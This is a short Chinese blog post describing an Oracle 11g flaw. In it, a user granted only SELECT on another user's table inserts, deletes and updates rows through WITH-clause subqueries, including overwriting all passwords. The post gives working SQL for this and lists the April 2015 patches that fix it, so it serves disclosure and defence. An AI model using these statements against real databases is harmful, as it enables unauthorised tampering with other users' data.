oracle漏洞攻防---之with越权增删改

-- 创建两个用户 i and you
create user i identified by root;
grant connect,resource to i;

create user you identified by root;
grant connect,resource to you;

-- i 登录, 创建i的私有表
create table t_user (
  id number not null primary key,
  name varchar2(32),
  password varchar2(128)
);
-- i 登录, 创建私有序列
create sequence seq_user nomaxvalue nominvalue nocache nocycle 
increment by 1
start with  1;
-- i 登录, 存入一条数据
insert into t_user values (seq_user.nextval, 'zhangsan', '123456');

-- 授权给you 查询权限
grant select on t_user to you;

-- you 登录 测试增、删、改
insert into (with t as (select * from i.t_user) select * from t) select -1, 'wangwu', '00000' from dual;

delete (with t as (select * from i.t_user) select id from t) where id = -1;

update (
  with m as (select * from i.t_user)
  select * from m
) e
set e.password='000000';


以下提供补丁包:

更新对象补丁号名称程序包
GI19852360ORACLE JAVA TECHNOLOGY Patch for Bug# 19852360 for Generic Platformsp19852360_112040_Generic
20485808Oracle Grid Infrastructure Patch Set Update 11.2.0.4.6 (Apr2015) (Includes Database PSU 11.2.0.4.6)p20485808_112040_Linux-x86-64 
20834621Combo of OJVM Component 11.2.0.4.3 DB PSU + GI PSU 11.2.0.4.6 (Apr2015)p20834621_112040_Linux-x86-64
Database19852360ORACLE JAVA TECHNOLOGY Patch for Bug# 19852360 for Generic Platformsp19852360_112040_Generic
20299013Database Patch Set Update 11.2.0.4.6 (Includes CPUApr2015)p20299013_112040_Linux-x86-64
20299015Database Security Patch Update 11.2.0.4.0 (CPUApr2015)p20299015_112040_Linux-x86-64
20406239Oracle JavaVM Component 11.2.0.4.3 Database PSU (Apr2015)p20406239_112040_Linux-x86-64
20834611Combo of OJVM Component 11.2.0.4.3 DB PSU + DB PSU 11.2.0.4.6 (Apr2015)p20834611_112040_Linux-x86-64
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值